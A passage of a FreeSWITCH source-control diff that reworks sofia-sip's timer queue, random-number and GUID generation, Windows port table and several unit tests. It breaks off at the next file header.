+ *
+ * @NEW_1_12_11
+ */
+su_time_t su_timer_latest(su_timer_t const *t)
+{
+  su_time_t tv = { 0, 0 };
+
+  return t ? t->sut_when : tv;
+}
+
 /** Set the timer for the given @a interval.
  *
  *  Sets (starts) the given timer to expire after the specified duration.
@@ -332,11 +376,8 @@
 			  su_timer_arg_t *arg,
 			  su_duration_t interval)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 0, "su_timer_set_interval");
+  su_timer_queue_t *timers = su_timer_queue(t, 0, "su_timer_set_interval");
 
-  if (t == NULL)
-    return -1;
-
   return su_timer_set0(timers, t, wakeup, arg, su_now(), interval);
 }
 
@@ -356,11 +397,8 @@
 		 su_timer_f wakeup,
 		 su_timer_arg_t *arg)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 1, "su_timer_set");
+  su_timer_queue_t *timers = su_timer_queue(t, 1, "su_timer_set");
 
-  if (timers == NULL)
-    return -1;
-
   return su_timer_set0(timers, t, wakeup, arg, su_now(), t->sut_duration);
 }
 
@@ -380,11 +418,8 @@
 		    su_wakeup_arg_t *arg,
 		    su_time_t when)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 0, "su_timer_set_at");
+  su_timer_queue_t *timers = su_timer_queue(t, 0, "su_timer_set_at");
 
-  if (timers == NULL)
-    return -1;
-
   return su_timer_set0(timers, t, wakeup, arg, when, 0);
 }
 
@@ -410,17 +445,15 @@
 		 su_timer_f wakeup,
 		 su_timer_arg_t *arg)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 1, "su_timer_run");
-  su_time_t now;
+  su_timer_queue_t *timers = su_timer_queue(t, 1, "su_timer_run");
 
   if (timers == NULL)
     return -1;
 
   t->sut_running = run_at_intervals;
-  t->sut_run = now = su_now();
   t->sut_woken = 0;
 
-  return su_timer_set0(timers, t, wakeup, arg, now, t->sut_duration);
+  return su_timer_set0(timers, t, wakeup, arg, su_now(), t->sut_duration);
 }
 
 /**Set the timer for regular intervals.
@@ -443,17 +476,15 @@
 			  su_timer_f wakeup,
 			  su_timer_arg_t *arg)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 1, "su_timer_set_for_ever");
-  su_time_t now;
+  su_timer_queue_t *timers = su_timer_queue(t, 1, "su_timer_set_for_ever");
 
   if (timers == NULL)
     return -1;
 
   t->sut_running = run_for_ever;
-  t->sut_run = now = su_now();
   t->sut_woken = 0;
 
-  return su_timer_set0(timers, t, wakeup, arg, now, t->sut_duration);
+  return su_timer_set0(timers, t, wakeup, arg, su_now(), t->sut_duration);
 }
 
 /**Reset the timer.
@@ -466,12 +497,19 @@
  */
 int su_timer_reset(su_timer_t *t)
 {
-  su_timer_queue_t *timers = su_timer_tree(t, 0, "su_timer_reset");
+  su_timer_queue_t *timers = su_timer_queue(t, 0, "su_timer_reset");
 
   if (timers == NULL)
     return -1;
 
-  return su_timer_reset0(timers, t);
+  if (SU_TIMER_IS_SET(t))
+    timers_remove(timers[0], t->sut_set);
+
+  t->sut_wakeup = NULL;
+  t->sut_arg = NULL;
+  t->sut_running = reset;
+
+  return 0;
 }
 
 /** @internal Check for expired timers in queue.
@@ -495,28 +533,33 @@
   su_timer_f f;
   int n = 0;
 
-  if (!*timers)
-    return n;
+  if (timers_used(timers[0]) == 0)
+    return 0;
 
-  for (;;) {
-    t = timers_first(*timers);
+  while ((t = timers_get(timers[0], 1))) {
+    if (SU_TIME_CMP(t->sut_when, now) > 0) {
+      su_duration_t at = su_duration(t->sut_when, now);
 
-    if (t == NULL || SU_TIME_CMP(t->sut_when, now) > 0)
+      if (at < *timeout || *timeout < 0)
+	*timeout = at;
+
       break;
+    }
 
-    timers_remove(timers, t);
+    timers_remove(timers[0], 1);
 
     f = t->sut_wakeup; t->sut_wakeup = NULL;
     assert(f);
 
     if (t->sut_running == run_at_intervals) {
       while (t->sut_running == run_at_intervals &&
+	     t->sut_set == 0 &&
 	     t->sut_duration > 0) {
 	if (su_time_diff(t->sut_when, now) > 0) {
-	  su_timer_set0(timers, t, f, t->sut_arg, t->sut_run, 0);
+	  su_timer_set0(timers, t, f, t->sut_arg, t->sut_when, 0);
 	  break;
 	}
-	t->sut_when = t->sut_run = su_time_add(t->sut_run, t->sut_duration);
+	t->sut_when = su_time_add(t->sut_when, t->sut_duration);
 	t->sut_woken++;
 	f(su_root_magic(su_task_root(t->sut_task)), t, t->sut_arg), n++;
       }
@@ -525,7 +568,7 @@
       t->sut_woken++;
       t->sut_when = now;
       f(su_root_magic(su_task_root(t->sut_task)), t, t->sut_arg), n++;
-      if (t->sut_running == run_for_ever)
+      if (t->sut_running == run_for_ever && t->sut_set == 0)
 	su_timer_set0(timers, t, f, t->sut_arg, now, t->sut_duration);
     }
     else {
@@ -534,30 +577,27 @@
     }
   }
 
-  if (t) {
-    su_duration_t at = su_duration(t->sut_when, now);
-
-    if (at < *timeout)
-      *timeout = at;
-  }
-
   return n;
 }
 
 
 /** Calculate duration in milliseconds until next timer expires. */
-su_duration_t su_timer_next_expires(su_timer_t const * t, su_time_t now)
+su_duration_t su_timer_next_expires(su_timer_queue_t const *timers,
+				    su_time_t now)
 {
-  su_duration_t tout;
+  su_duration_t next = SU_DURATION_MAX;
 
-  t = timers_first(t);
+  su_timer_t const *t;
 
-  if (!t)
-    return SU_DURATION_MAX;
+  t = timers ? timers_get(timers[0], 1) : NULL;
 
-  tout = su_duration(t->sut_when, now);
+  if (t) {
+    next = su_duration(t->sut_when, now);
+    if (next < 0)
+      next = 0;
+  }
 
-  return tout > 0 ? tout : 0 ;
+  return next;
 }
 
 /**
@@ -573,23 +613,29 @@
  */
 int su_timer_reset_all(su_timer_queue_t *timers, su_task_r task)
 {
-  su_timer_t *t, *t_next;
+  size_t i;
   int n = 0;
 
-  if (!timers || !*timers)
+  if (!timers)
     return 0;
 
-  for (t = timers_first(*timers); t; t = t_next) {
-    t_next = timers_succ(t);
+  timers_sort(timers[0]);
 
+  for (i = timers_used(timers[0]); i > 0; i--) {
+    su_timer_t *t = timers_get(timers[0], i);
+
     if (su_task_cmp(task, t->sut_task))
       continue;
 
+    timers_remove(timers[0], i);
+
+    su_free(NULL, t);
     n++;
-    timers_remove(timers, t);
-    su_free(NULL, t);
   }
 
+  if (!timers_used(timers[0]))
+    free(timers->private), timers->private = NULL;
+
   return n;
 }
 
@@ -605,3 +651,32 @@
 {
   return t ? su_task_root(t->sut_task) : NULL;
 }
+
+
+/** Change timer as deferrable (or as undeferrable).
+ *
+ * A deferrable timer is executed after the given timeout, however, the task
+ * tries to avoid being woken up only because the timeout. Deferable timers
+ * have their own queue and timers there are ignored when calculating the
+ * timeout for epoll()/select()/whatever unless the timeout would exceed the
+ * maximum defer time. The maximum defer time is 15 seconds by default, but
+ * it can be modified by su_root_set_max_defer().
+ *
+ * @param t pointer to the timer
+ * @param value make timer deferrable if true, undeferrable if false
+ *
+ * @return 0 if succesful, -1 upon an error
+ *
+ * @sa su_root_set_max_defer()
+ *
+ * @NEW_1_12_7
+ */
+int su_timer_deferrable(su_timer_t *t, int value)
+{
+  if (t == NULL || su_task_deferrable(t->sut_task) == NULL)
+    return errno = EINVAL, -1;
+
+  t->sut_deferrable = value != 0;
+ 
+  return 0;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_uniqueid.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_uniqueid.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_uniqueid.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,108 +74,138 @@
 #include "sofia-sip/su_uniqueid.h"
 
 /* For random number generator */
-static int initialized = 0;
+static FILE *urandom;
 
-static void init(void);
-static void init_node(void);
+union state {
+  uint64_t u64;
+};
 
-/* Constants */
-static const unsigned version = 1;	/* Current version */
-static const unsigned reserved = 128;	/* DCE variant */
-#define granularity (10000000UL)
-static const uint64_t mask60 = SU_U64_C(0xfffFFFFffffFFFF);
-#define MAGIC (16384)
+#if SU_HAVE_PTHREADS
 
-/* 100-nanosecond intervals between 15 October 1582 and 1 January 1900 */
-static const uint64_t ntp_epoch =
-(uint64_t)(141427) * (24 * 60 * 60L) * granularity;
+#include <pthread.h>
 
-/* State */
-static uint64_t timestamp0 = 0;
-static unsigned clock_sequence = MAGIC;
-static unsigned char node[6];
+#if __sun
+#undef PTHREAD_ONCE_INIT
+#define PTHREAD_ONCE_INIT {{ 0, 0, 0, PTHREAD_ONCE_NOTDONE }}
+#endif
 
-FILE *urandom;
+static pthread_once_t once = PTHREAD_ONCE_INIT;
+static int done_once = 1;
+static pthread_key_t state_key;
 
-/*
- * Get current timestamp
- */
-static uint64_t timestamp(void)
+static void
+init_once(void)
 {
-  uint64_t tl = su_ntp_now();
-  uint64_t hi = su_ntp_hi(tl), lo = su_ntp_lo(tl);
+  pthread_key_create(&state_key, free);
+#if HAVE_DEV_URANDOM
+  urandom = fopen("/dev/urandom", "rb");
+#endif	/* HAVE_DEV_URANDOM */
+  done_once = 1;
+}
 
-  lo *= granularity;
-  hi *= granularity;
-
-  tl = hi + (lo >> 32) + ntp_epoch;
-
-#ifdef TESTING
-  printf("timestamp %08x-%08x\n", (unsigned)(tl >>32), (unsigned)tl);
+#else
+static int initialized;
 #endif
 
-  tl &= mask60;
+static union state *
+get_state(void)
+{
+  static union state *retval, state0[1];
 
-  if (tl <= timestamp0)
-    clock_sequence = (clock_sequence + 1) & (MAGIC - 1);
+#if SU_HAVE_PTHREADS
 
-  timestamp0 = tl;
+  pthread_once(&once, init_once);
 
-  return tl;
-}
+  if (urandom)
+    return NULL;
 
-#if !HAVE_RANDOM
-#define random() rand()
-#define srandom(x) srand(x)
-#endif
+  retval = pthread_getspecific(state_key);
+  if (retval) {
+    return retval;
+  }
 
-/*
- * Initialize clock_sequence and timestamp0
- */
-static void init(void)
-{
-  int i;
+  retval = calloc(1, sizeof *retval);
+  if (retval != NULL)
+    pthread_setspecific(state_key, retval);
+  else
+    retval = state0;
 
-  static uint32_t seed[32] = { 0 };
-  su_time_t now;
+#else  /* !SU_HAVE_PTHREADS */
 
-  initialized = 1;
-
-  /* Initialize our random number generator */
+  if (urandom == NULL) {
 #if HAVE_DEV_URANDOM
-  if (!urandom)
     urandom = fopen("/dev/urandom", "rb");
 #endif	/* HAVE_DEV_URANDOM */
+  }
 
-  if (urandom) {
-    size_t len = fread(seed, sizeof seed, 1, urandom); (void)len;
-  }
-  else {
-    for (i = 0; i < 16; i++) {
+  if (urandom)
+    return NULL;
+
+  retval = state0;
+
+  if (initialized)
+    return retval;
+#endif
+
+  {
+    uint32_t seed[32];
+    int i;
+    union {
+      uint32_t u32;
+      pthread_t tid;
+    } tid32 = { 0 };
+
+    tid32.tid = pthread_self();
+
+    memset(seed, 0, sizeof seed); /* Make valgrind happy */
+
+    for (i = 0; i < 32; i += 2) {
 #if HAVE_CLOCK_GETTIME
       struct timespec ts;
       (void)clock_gettime(CLOCK_REALTIME, &ts);
-      seed[2*i] ^= ts.tv_sec; seed[2*i+1] ^= ts.tv_nsec;
+      seed[i] ^= ts.tv_sec; seed[i + 1] ^= ts.tv_nsec;
+#else
+      su_time_t now;
+      su_time(&now);
+      seed[i] ^= now.tv_sec; seed[i + 1] ^= now.tv_sec;
 #endif
-      su_time(&now);
-      seed[2*i] ^= now.tv_sec; seed[2*i+1] ^= now.tv_sec;
     }
 
-    seed[30] ^= getuid();
-    seed[31] ^= getpid();
+    seed[0] ^= getuid();
+    seed[1] ^= getpid();
+    seed[2] ^= tid32.u32;
+    seed[3] ^= (uint32_t)(intptr_t)retval;
+
+    for (i = 0; i < 32; i+= 4) {
+      retval->u64 += ((uint64_t)seed[i] << 32) | seed[i + 1];
+      retval->u64 *= ((uint64_t)seed[i + 3] << 32) | seed[i + 2];
+    }
+
+    retval->u64 += (uint64_t)su_nanotime(NULL);
   }
 
-#if HAVE_INITSTATE
-  initstate(seed[0] ^ seed[1], (char *)&seed, sizeof(seed));
-#else
-  srand(seed[0] ^ seed[1]);
+  return retval;
+}
+
+#if !defined(WIN32) && !defined(WIN64)
+void sofia_su_uniqueid_destructor(void)
+  __attribute__((destructor));
 #endif
 
-  clock_sequence = su_randint(0, MAGIC - 1);
+void
+sofia_su_uniqueid_destructor(void)
+{
+#if HAVE_DEV_URANDOM
+  if (urandom)
+    fclose(urandom);
+#endif	/* HAVE_DEV_URANDOM */
 
-  (void)timestamp();
-
-  init_node();
+#if SU_HAVE_PTHREADS
+  if (done_once) {
+    pthread_key_delete(state_key);
+    done_once = 0;
+  }
+#endif
 }
 
 #if HAVE_GETIFADDRS
@@ -187,11 +217,10 @@
 #endif
 #endif
 
+#define SIZEOF_NODE 6
 static
-void init_node(void)
+void init_node(uint8_t node[SIZEOF_NODE])
 {
-  size_t i;
-
 #if HAVE_GETIFADDRS && HAVE_SOCKADDR_LL
   struct ifaddrs *ifa, *results;
 
@@ -211,7 +240,7 @@
 	continue;
       }
 
-      memcpy(node, sll->sll_addr, sizeof node);
+      memcpy(node, sll->sll_addr, SIZEOF_NODE);
 
       break;
 #endif
@@ -224,24 +253,18 @@
   }
 #endif
 
-  if (urandom) {
-    size_t len = fread(node, sizeof node, 1, urandom); (void)len;
-  }
-  else for (i = 0; i < sizeof(node); i++) {
-    unsigned r = random();
-    node[i] = (r >> 24) ^ (r >> 16) ^ (r >> 8) ^ r;
-  }
-
+  su_randmem(node, SIZEOF_NODE);
   node[0] |= 1;			/* "multicast" address */
 }
 
+static unsigned char node[SIZEOF_NODE];
+
 size_t su_node_identifier(void *address, size_t addrlen)
 {
-  if (addrlen > sizeof node)
-    addrlen = sizeof node;
+  if (addrlen > SIZEOF_NODE)
+    addrlen = SIZEOF_NODE;
 
-  if (!initialized) init();
-
+  su_guid_generate(NULL);
   memcpy(address, node, addrlen);
 
   return addrlen;
@@ -249,21 +272,66 @@
 
 void su_guid_generate(su_guid_t *v)
 {
-  uint64_t time;
-  unsigned clock;
+  /* Constants */
+  static const unsigned version = 1;	/* Current version */
+  static const unsigned reserved = 128;	/* DCE variant */
+#define granularity (10000000UL)
+  static const uint64_t mask60 = SU_U64_C(0xfffFFFFffffFFFF);
+#define MAGIC (16384)
 
-  if (!initialized) init();
+  /* 100-nanosecond intervals between 15 October 1582 and 1 January 1900 */
+  static const uint64_t ntp_epoch =
+    (uint64_t)(141427) * (24 * 60 * 60L) * granularity;
 
-  time = timestamp();
-  clock = clock_sequence;
+  static uint64_t timestamp0 = 0;
+  static unsigned clock_sequence = MAGIC;
 
-  v->s.time_high_and_version =
-    htons((unsigned short)(((time >> 48) & 0x0fff) | (version << 12)));
-  v->s.time_mid = htons((unsigned short)((time >> 32) & 0xffff));
-  v->s.time_low = htonl((unsigned long)(time & 0xffffffffUL));
-  v->s.clock_seq_low = clock & 0xff;
-  v->s.clock_seq_hi_and_reserved = (clock >> 8) | reserved;
-  memcpy(v->s.node, node, sizeof(v->s.node));
+#if SU_HAVE_PTHREADS
+  static pthread_mutex_t update = PTHREAD_MUTEX_INITIALIZER;
+#endif
+
+  uint64_t tl = su_ntp_now();
+  uint64_t hi = su_ntp_hi(tl), lo = su_ntp_lo(tl);
+
+  lo *= granularity;
+  hi *= granularity;
+
+  tl = hi + (lo >> 32) + ntp_epoch;
+
+#ifdef TESTING
+  printf("timestamp %08x-%08x\n", (unsigned)(tl >>32), (unsigned)tl);
+#endif
+
+  tl &= mask60;
+  if (tl == 0) tl++;
+
+#if SU_HAVE_PTHREADS
+  pthread_mutex_lock(&update);
+#endif
+
+  if (timestamp0 == 0) {
+    clock_sequence = su_randint(0, MAGIC - 1);
+    init_node(node);
+  }
+  else if (tl <= timestamp0) {
+    clock_sequence = (clock_sequence + 1) & (MAGIC - 1);
+  }
+
+  timestamp0 = tl;
+
+#if SU_HAVE_PTHREADS
+  pthread_mutex_unlock(&update);
+#endif
+
+  if (v) {
+    v->s.time_high_and_version =
+      htons((unsigned short)(((tl >> 48) & 0x0fff) | (version << 12)));
+    v->s.time_mid = htons((unsigned short)((tl >> 32) & 0xffff));
+    v->s.time_low = htonl((unsigned long)(tl & 0xffffffffUL));
+    v->s.clock_seq_low = clock_sequence & 0xff;
+    v->s.clock_seq_hi_and_reserved = (clock_sequence >> 8) | reserved;
+    memcpy(v->s.node, node, sizeof(v->s.node));
+  }
 }
 
 /*
@@ -284,58 +352,73 @@
   return su_guid_strlen;
 }
 
-/*
- * Generate random integer in range [lb, ub] (inclusive)
- */
-int su_randint(int lb, int ub)
+uint64_t su_random64(void)
 {
-  unsigned rnd = 0;
+  union state *state = get_state();
 
-  if (!initialized) init();
-
-  if (urandom) {
-    size_t len = fread(&rnd, 1, sizeof rnd, urandom); (void)len;
+  if (state) {
+    /* Simple rand64 from AoCP */
+    return state->u64 = state->u64 * 0X5851F42D4C957F2DULL + 1ULL;
   }
-  else
-    rnd = random();
-
-  if (ub - lb + 1 != 0)
-    rnd %= (ub - lb + 1);
-
-  return rnd + lb;
+  else {
+    uint64_t retval;
+    size_t len = fread(&retval, 1, sizeof retval, urandom); (void)len;
+    return retval;
+  }
 }
 
 void *su_randmem(void *mem, size_t siz)
 {
-  size_t i;
+  union state *state = get_state();
 
-  if (!initialized) init();
+  if (state) {
+    size_t i;
+    uint64_t r64;
+    uint32_t r32;
 
-  if (urandom) {
+    for (i = 0; i < siz; i += 4) {
+      /* Simple rand64 from AoCP */
+      state->u64 = r64 = state->u64 * 0X5851F42D4C957F2DULL + 1ULL;
+      r32 = (uint32_t) (r64 >> 32) ^ (uint32_t)r64;
+      if (siz - i >= 4)
+	memcpy((char *)mem + i, &r32, 4);
+      else
+	memcpy((char *)mem + i, &r32, siz - i);
+    }
+  }
+  else {
     size_t len = fread(mem, 1, siz, urandom); (void)len;
   }
-  else for (i = 0; i < siz; i++) {
-    unsigned r = random();
-    ((char *)mem)[i] = (r >> 24) ^ (r >> 16) ^ (r >> 8) ^ r;
-  }
 
   return mem;
 }
 
-/** Get random number for RTP timestamps.
- *
- * This function returns a 32-bit random integer. It also initializes the
- * random number generator, if needed.
+/**
+ * Generate random integer in range [lb, ub] (inclusive)
  */
-uint32_t su_random(void)
+int su_randint(int lb, int ub)
 {
-  if (!initialized) init();
+  uint64_t rnd;
+  unsigned modulo = (unsigned)(ub - lb + 1);
 
-  if (urandom) {
-    uint32_t rnd;
-    size_t len = fread(&rnd, 1, sizeof rnd, urandom); (void)len;
-    return rnd;
+  if (modulo != 0) {
+    do {
+      rnd = su_random64();
+    } while (rnd / modulo == 0xffffFFFFffffFFFFULL / modulo);
+
+    rnd %= modulo;
   }
+  else {
+    rnd = su_random64();
+  }
 
-  return (uint32_t)random();
+  return (int)rnd + lb;
 }
+
+/** Get random 32-bit unsigned number.
+ *
+ */
+uint32_t su_random(void)
+{
+  return (uint32_t)(su_random64() >> 16);
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_win32_port.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_win32_port.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/su_win32_port.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -118,7 +118,7 @@
       su_base_port_incref,
       su_wsevent_port_decref,
       su_base_port_gsource,
-      su_socket_port_send,
+      su_base_port_send,
       su_wsevent_port_register,
       su_wsevent_port_unregister,
       su_wsevent_port_deregister,
@@ -139,6 +139,10 @@
       su_base_port_start_shared,
       su_pthread_port_wait,
       su_pthread_port_execute,
+      su_base_port_deferrable,
+      su_base_port_max_defer,
+      su_socket_port_wakeup,
+      su_base_port_is_running,
     }};
 
 static char const *su_wsevent_port_name(su_port_t const *self)

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/test_memmem.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/test_memmem.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/test_memmem.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,11 +22,11 @@
  *
  */
 
-/**@ingroup test_memmem
+/**@ingroup test_su_string
  *
  * @CFILE test_memmem.c
  *
- * Torture tests for memmem() and strcasestr().
+ * Torture tests for various string utility functions.
  *
  * @author Pekka Pessi <Pekka.Pessi@nokia.com>
  *
@@ -35,6 +35,8 @@
 
 #include "config.h"
 
+#include <sofia-sip/su_string.h>
+
 #include <stddef.h>
 #include <stdlib.h>
 #include <limits.h>
@@ -45,9 +47,6 @@
 void *memmem(const void *haystack, size_t haystacklen,
 	     const void *needle, size_t needlelen);
 #endif
-#if !HAVE_STRCASESTR
-char *strcasestr(const char *haystack, const char *needle);
-#endif
 
 #include <string.h>
 
@@ -116,38 +115,41 @@
       "A case-folding string searching test consisting of a Long String";
     char const *s;
 
-    s = strcasestr(hs, "sting");
+    s = su_strcasestr(hs, "sting");
     TEST_S(s, hs + 42);
 
-    s = strcasestr(hs, "String");
+    s = su_strcasestr(hs, "String");
     TEST_S(s, hs + 15);
 
-    s = strcasestr(hs, "S");
+    s = su_strcasestr(hs, "S");
     TEST_S(s, hs + 4);
 
-    s = strcasestr(hs, "L");
+    s = su_strcasestr(hs, "L");
     TEST_S(s, hs + 9);
 
-    s = strcasestr(hs, "trings");
+    s = su_strcasestr(hs, "trings");
     TEST_1(s == NULL);
 
-    s = strcasestr(hs, "String");
+    s = su_strcasestr(hs, "String");
     TEST_S(s, hs + 15);
 
-    s = strcasestr(hs, "StRiNg");
+    s = su_strcasestr(hs, "StRiNg");
     TEST_S(s, hs + 15);
 
-    s = strcasestr(hs, "OnG");
+    s = su_strcasestr(hs, "OnG");
     TEST_S(s, hs + 54);
 
     /* Special cases */
-    TEST_1(strcasestr(hs, "") == hs);
-    TEST_1(strcasestr("", "ong") == NULL);
-    TEST_1(strcasestr("", "OnG") == NULL);
-    TEST_1(strcasestr("ong", hs) == NULL);
-    TEST_1(strcasestr("OnG", hs) == NULL);
-    TEST_1(strcasestr(hs, "Z") == NULL);
-    TEST_1(strcasestr(hs, "z") == NULL);
+    TEST_1(su_strcasestr(hs, "") == hs);
+    TEST_1(su_strcasestr("", "ong") == NULL);
+    TEST_1(su_strcasestr("", "OnG") == NULL);
+    TEST_1(su_strcasestr("ong", hs) == NULL);
+    TEST_1(su_strcasestr("OnG", hs) == NULL);
+    TEST_1(su_strcasestr(hs, "Z") == NULL);
+    TEST_1(su_strcasestr(hs, "z") == NULL);
+
+    TEST_S(su_strcasestr("foobar", "OB"), "obar");
+    TEST_S(su_strcasestr("FOOBAR", "ob"), "OBAR");
   }
 
   {
@@ -219,16 +221,114 @@
 
     char const *s;
 
-    s = strcasestr(hs, needle);
+    s = su_strcasestr(hs, needle);
     TEST_S(s, hs + 1920);
 
-    s = strcasestr(hs, Needle);
+    s = su_strcasestr(hs, Needle);
     TEST_S(s, hs + 1920);
   }
 
   END();
 }
 
+static int test_casematch(void)
+{
+  BEGIN();
+
+  TEST_1(!su_casematch(NULL, ""));
+  TEST_1(su_casematch(NULL, NULL));
+  TEST_1(!su_casematch("", NULL));
+
+  TEST_1(!su_casenmatch(NULL, "", 1));
+  TEST_1(su_casenmatch(NULL, NULL, 1));
+  TEST_1(!su_casenmatch("", NULL, 1));
+
+  TEST_1(su_casenmatch(NULL, "", 0));
+  TEST_1(su_casenmatch(NULL, NULL, 0));
+  TEST_1(su_casenmatch("", NULL, 0));
+
+  TEST_1(su_casenmatch("foo", "foo", 3));
+  TEST_1(su_casenmatch("FOO", "foo", 3));
+  TEST_1(su_casenmatch("foo", "FOO", 3));
+
+  TEST_1(su_casenmatch("foo", "foo", 4));
+  TEST_1(su_casenmatch("FOO", "foo", 4));
+  TEST_1(su_casenmatch("foo", "FOO", 4));
+
+  TEST_1(su_casematch("foo", "foo"));
+  TEST_1(su_casematch("FOO", "foo"));
+  TEST_1(su_casematch("foo", "FOO"));
+
+  TEST_1(!su_casematch("foo_", "foo"));
+  TEST_1(!su_casematch("FOO_", "foo"));
+  TEST_1(!su_casematch("foo_", "FOO"));
+
+  TEST_1(su_casenmatch("foo\0X", "foo\0z", 5));
+  TEST_1(su_casenmatch("FOO\0X", "foo\0z", 5));
+  TEST_1(su_casenmatch("foo\0X", "FOO\0z", 5));
+
+  END();
+}
+
+static int test_strmatch(void)
+{
+  BEGIN();
+
+  TEST_1(!su_strmatch(NULL, ""));
+  TEST_1(su_strmatch(NULL, NULL));
+  TEST_1(!su_strmatch("", NULL));
+
+  TEST_1(!su_strnmatch(NULL, "", 1));
+  TEST_1(su_strnmatch(NULL, NULL, 1));
+  TEST_1(!su_strnmatch("", NULL, 1));
+
+  TEST_1(su_strnmatch(NULL, "", 0));
+  TEST_1(su_strnmatch(NULL, NULL, 0));
+  TEST_1(su_strnmatch("", NULL, 0));
+
+  TEST_1(su_strnmatch("foo", "foo", 3));
+  TEST_1(!su_strnmatch("FOO", "foo", 3));
+  TEST_1(!su_strnmatch("foo", "FOO", 3));
+
+  TEST_1(su_strnmatch("foo", "foo", 4));
+  TEST_1(!su_strnmatch("FOO", "foo", 4));
+  TEST_1(!su_strnmatch("foo", "FOO", 4));
+
+  TEST_1(su_strmatch("foo", "foo"));
+  TEST_1(!su_strmatch("FOO", "foo"));
+  TEST_1(!su_strmatch("foo", "FOO"));
+
+  TEST_1(!su_strmatch("foo_", "foo"));
+
+  TEST_1(su_strnmatch("foo\0X", "foo\0z", 5));
+  TEST_1(!su_strnmatch("FOO\0X", "foo\0z", 5));
+  TEST_1(!su_strnmatch("foo\0X", "FOO\0z", 5));
+
+  END();
+}
+
+static int test_strnspn(void)
+{
+  BEGIN();
+
+  TEST(su_strnspn("foobar", 3, ""), 0);
+  TEST(su_strnspn("foobar", 5, "fo"), 3);
+  TEST(su_strnspn("foobar", 5, "o"), 0);
+  TEST(su_strnspn("foobar", 5, "f"), 1);
+  TEST(su_strnspn("", 5, "fo"), 0);
+  TEST(su_strnspn("foobarf", 5, "fob"), 4);
+
+  TEST(su_strncspn("foobar", 3, ""), 3);
+  TEST(su_strncspn("foobar", 5, "bach"), 3);
+  TEST(su_strncspn("foobar", 5, "ri"), 5);
+  TEST(su_strncspn("foobar", 5, "b"), 3);
+  TEST(su_strncspn("", 5, "fo"), 0);
+  TEST(su_strncspn(NULL, 0, "fo"), 0);
+  TEST(su_strncspn("foobarf", 5, "a"), 4);
+
+  END();
+}
+
 int main(int argc, char *argv[])
 {
   int retval = 0;
@@ -247,7 +347,10 @@
   retval |= test_pattern(); fflush(stdout);
   retval |= test_strcasestr(); fflush(stdout);
 
+  retval |= test_casematch(); fflush(stdout);
+  retval |= test_strmatch(); fflush(stdout);
 
+  retval |= test_strnspn(); fflush(stdout);
+
   return retval;
 }
-

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_heap.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_heap.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_heap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -127,7 +127,7 @@
   su_smoothsort(array, r, N, int_less, int_swap);
 }
 
-int test_smooth_sort()
+int test_smooth_sort(void)
 {
   BEGIN();
 
@@ -179,7 +179,7 @@
   END();
 }
 
-int test_value()
+int test_value(void)
 {
   BEGIN();
 
@@ -302,7 +302,7 @@
   END();
 }
 
-int test_ref()
+int test_ref(void)
 {
   BEGIN();
 
@@ -467,7 +467,7 @@
   END();
 }
 
-int test_triplet()
+int test_triplet(void)
 {
   BEGIN();
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_alloc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_alloc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_alloc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -192,6 +192,34 @@
     TEST(h1->suh_size, 13);
   }
 
+  /* Test su_home_parent() */
+  TEST_1(h0 = su_home_new(sizeof *h0));
+  TEST_1(h1 = su_home_clone(h0->home, sizeof *h1));
+  TEST_1(h2 = su_home_clone(h1->home, sizeof *h2));
+  TEST_1(h3 = su_home_clone(h2->home, sizeof *h3));
+
+  TEST_P(su_home_parent(h0->home), NULL);
+  TEST_P(su_home_parent(h1->home), h0);
+  TEST_P(su_home_parent(h2->home), h1);
+  TEST_P(su_home_parent(h3->home), h2);
+  TEST(su_home_move(h0->home, h1->home), 0);
+  TEST_P(su_home_parent(h2->home), h0);
+  TEST_P(su_home_parent(h3->home), h2);
+  TEST(su_home_move(h0->home, h2->home), 0);
+  TEST_P(su_home_parent(h3->home), h0);
+
+  su_home_move(NULL, h0->home);
+
+  TEST_P(su_home_parent(h0->home), NULL);
+  TEST_P(su_home_parent(h1->home), NULL);
+  TEST_P(su_home_parent(h2->home), NULL);
+  TEST_P(su_home_parent(h3->home), NULL);
+
+  su_home_unref(h0->home);
+  su_home_unref(h1->home);
+  su_home_unref(h2->home);
+  su_home_unref(h3->home);
+
   END();
 }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_root.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/su/torture_su_root.c	2009-08-09 05:55:48 UTC (rev 14471)
